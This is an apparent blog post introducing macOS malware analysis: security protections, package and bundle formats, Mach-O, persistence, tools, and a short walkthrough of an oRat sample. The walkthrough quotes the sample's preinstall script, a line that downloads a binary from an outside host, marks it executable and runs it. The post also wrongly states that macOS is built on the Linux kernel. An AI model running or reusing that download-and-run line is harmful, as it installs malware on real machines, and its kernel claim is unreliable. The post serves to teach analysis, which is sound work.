Mac OS Malware Analysis

Overview

I started months ago to look for different OSs malware than Windows to expand my knowledge and cover more attack vectors, at the start it was hard to determine a starting point and connect the dots in my mind and construct a good road map so I decided to kick off from what I know in windows and compare it with what is there in Mac, until I found another approach, after some time I landed on an amazing blog Objective See which talks only about mac malware, and the author also has a book called The Art Of Mac Malware these were great resources for me in the road.

It was really hard to find something that takes me to a good point where I could continue myself without reading this book which is about 300 pages and full of old information that I already know as I am not new to the field, So I decided to collect all the new stuff I learned in my journey in one place as I wished to find when I started.

MAC Environment

I am working on macOS Catalina 10.15.7

You can download a Mac Iso file from here.

Mac OS is built on top of Linux Kernel which means mostly everything related to kernel work is the same as Linux like integrity levels and kernel Apis and even the man pages and the terminal commands are the same.

So all the attack vectors related to scripts bash or whatever can be found here I won’t speak here about that as this is not specific to Mac as it’s a Linux thing.

MAC Software Security Protections

In my opinion from my work so far with MAC and other OSs, apple is really making security more important than the functionality itself as any application even the system applications like Terminal can’t do anything in the system before it manually gets assigned the privileges to do so in the Security&Privecy section in the System Preferences, I found that this a really annoying for the regular user.

from the perspective of running any file in the OS, the file needs to pass two checking mechanisms.

• GateKeeper

  GateKeeper is a feature that prevents any application from running if the app wasn’t signed with a valid developer id.

• Application notarization

  notarization is somehow like the process of submitting the app to review for any malicious functionality and if passed you will get a notarized version.

These are very bad places for a threat actor to invest time writing malware I know, but also there is still a chance for deploying malware through exploiting a vulnerability or the user being fooled and turned all this protection off to use the device slightly more smoothly and other ways which always can be found with time and effort.

Executable Packaging

before talking about the executable itself I want to talk about how it got packaged when it first get into the device, there are multiple ways.

Note:
  Mac doesn't handle the file by its extension like Windows which means Extensions have no meaning.

• Apple Disk Images (.dmg)

  Apple Disk Images (.dmg) is a popular way to distribute software to Mac users, you can mount them to extract their content using the command

• Packages (.pkg)

  Another common file format that attackers often abuse to distribute Mac malware is the ubiquitous macOS package, you can extract the package content without executing it using the command.

• application bundle

  Applications are the most known package to Mac users as it works by only double-clicking it.

  It has a specific hierarchy that it follows to store its configuration, code signature, resources, and other needed data, as behind the scenes the application is just a folder structured in a specific way and referred to as an “application bundle”

the structure is as follows(all this file should be there):

• Contents/: A directory that contains all files and subdirectories of the application bundle.

• Contents/_CodeSignature: If the application is signed, contains code-signing information about the application (like hashes).

• Contents/MacOS: A directory that contains the application’s binary, which is what executes when the user double-clicks the application icon in the user interface.

• Contents/Resources: A directory that contains user interface elements of the application, such as images, and documents

• Contents/Info.plist: The application’s main configuration file. Apple notes that macOS uses this file to ascertain pertinent information about the application (such as the location of the application’s main binary).

the most important ones are Content/Info.plist which contains the configurations and Content/MacOS content which contains the executable itself.

Mash-o Executable binary format

the main file format for the executable in Mac OS is Mash-o, you can read about the structure of this file format here

but as with every other executables formats, there is a parser out there to parse their content and extract static information from them.

you can parse Mach-o file structures using the otool command line utility, code signing using codesign, and notarization and other checks using spctl.

Persistence

The first goal “mostly” for every malware after execution is persistence so what are the places where the malware can persist in Mac OS?!

As Mac OS is built on top of the Linux kernel as said before, a lot of persistence technique presented in Linux is also presented in Mac OS.

for a comprehensive list of persistence techniques used in Mac OS, you can visit MITRE ATT&CK

Malware analysis tools

You can find a lot of malware analysis tools for all the stages of malware analysis static, behavioral, and debugging here and you can download a free version of the famous Hopper disassembler for Mac from here

General malware analysis approach (oRat sample)

I won’t go so detailed in analyzing the malware itself but I will demonstrate how the malware analysis process is going in Mac malware.

this is the link to download the sample.

the malware comes packaged in a .pkg form so as discussed earlier we can use the command line utility pkgutil

In the pkg content, we can find another pkg “Flash-player” which contains the PackageInfo file and Scripts folder.

If we opened the PackageInfo file which contains installing information we can find that the preinstaller Script will run before the installation.

And that is the script that will be run.

#!/bin/bash

cd /tmp; curl -sL https://d.github.wiki/mac/darwinx64 -O; chmod +x darwinx64; ./darwinx64;

So this is just downloading a file from the internet, giving it execute permission, and running it.

After downloading the file I found that the file is a Mash-o executable.

These are the very basic static analysis results that we mentioned that show

• the file supports one architicure (x86_64)
• file is not signed at all
• file is not accepted to run on the system.

we mentioned before that all this can be bypassed, It’s somehow hard but possible.

Let us continue our analysis and get more interesting info about the file.

by running strings against the file we will notice this famous line.

After unpacking the file we can extract more informations like the library used by the file.

another tool which will be worth running is nm tool which resolves the symbols in the file which may give you more understanding of the file functionality.

for debugging and code analysis, you can use IDA and Remote debug feature